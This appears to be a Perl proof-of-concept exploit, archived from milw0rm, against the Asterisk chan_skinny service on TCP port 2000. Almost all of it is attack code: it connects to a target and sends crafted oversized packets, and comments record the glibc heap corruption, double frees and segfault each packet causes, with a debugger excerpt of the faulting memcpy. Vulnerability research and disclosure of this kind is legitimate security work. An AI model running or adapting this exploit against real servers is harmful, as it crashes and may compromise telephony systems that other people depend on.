477bcbdcc0
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30 lines
1.3 KiB
Perl
Executable file
30 lines
1.3 KiB
Perl
Executable file
#!/usr/bin/perl
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# Beyond Security
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# Copyright Noam Rathaus <noamr@beyondsecurity.com>
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#
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# The following proof of concept causes the chan_skippy to crash in different locations and due to
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# memory corruption as well as double free calls, this is based on the finding of
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# Security-Assessment.com, and proves that the vulnerability is indeed exploitable and there...
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#
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use IO::Socket;
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use strict;
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my $target = "127.0.0.1";
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my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $target, PeerPort => "2000");
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unless ($remote) { die "cannot connect to skinny daemon on $target" }
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my $packet = "A"x1000; #Causes *** glibc detected *** malloc(): memory corruption: 0x08175830 ***
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my $packet = "\x30\xE0\x00\x00"."\x00\x00\x00\x00".("A"x1000); # *** glibc detected *** double free or corruption (!prev): 0x08184348 ***
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my $packet = "\xE5\x03\x00\x00".("A"x996); # *** glibc detected *** double free or corruption (out): 0x08171740 ***
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my $packet = "\xF0\xFF\xFF\xFF".("A"x996); # Program received signal SIGSEGV, Segmentation fault.
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#[Switching to Thread -1494127696 (LWP 9909)]
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#0xa76264cb in skinny_session (data=0x8183ee8) at chan_skinny.c:2896
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#2896 memcpy(req, s->inbuf, letohl(*(int*)(s->inbuf))+8);
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print $remote $packet;
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# milw0rm.com [2006-10-19]
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